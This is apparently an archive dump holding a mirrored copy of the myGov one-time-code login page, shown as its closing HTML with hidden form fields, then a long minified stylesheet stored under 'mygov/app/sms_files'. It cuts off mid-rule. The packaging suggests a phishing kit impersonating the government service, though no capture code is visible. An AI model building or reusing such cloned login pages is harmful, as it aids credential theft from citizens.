name="authtype" value="otp"> <input type="hidden" name="_resetMobileEligible" value=""> <input type="hidden" name="_fallback" value=""> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> <div> <input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330"> </div></form> </div></div> <footer role="contentinfo"> <div class="wrapper"> <div class="inner"> <section class="footer-list"> <nav> <h2 class="sr-only" aria-label="Footer">Footer</h2> <ul class="lower-links"> <li> <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a> </li> <li> <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a> </li> </ul> </nav> </section> <div class="footer-lower"> <section class="footer-lower-logo"> <a href="https://beta.my.gov.au/"> <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img"> </a> </section> <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p> </div> </div> </div> </footer> <script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script> <script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script> <script type="text/javascript" src="./smsone_files/login.js.download"></script> <div id="artifact-metadata"> </div> </body></html>mygov/app/sms_files/blugov.css000064400000211165151676702570012507 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line 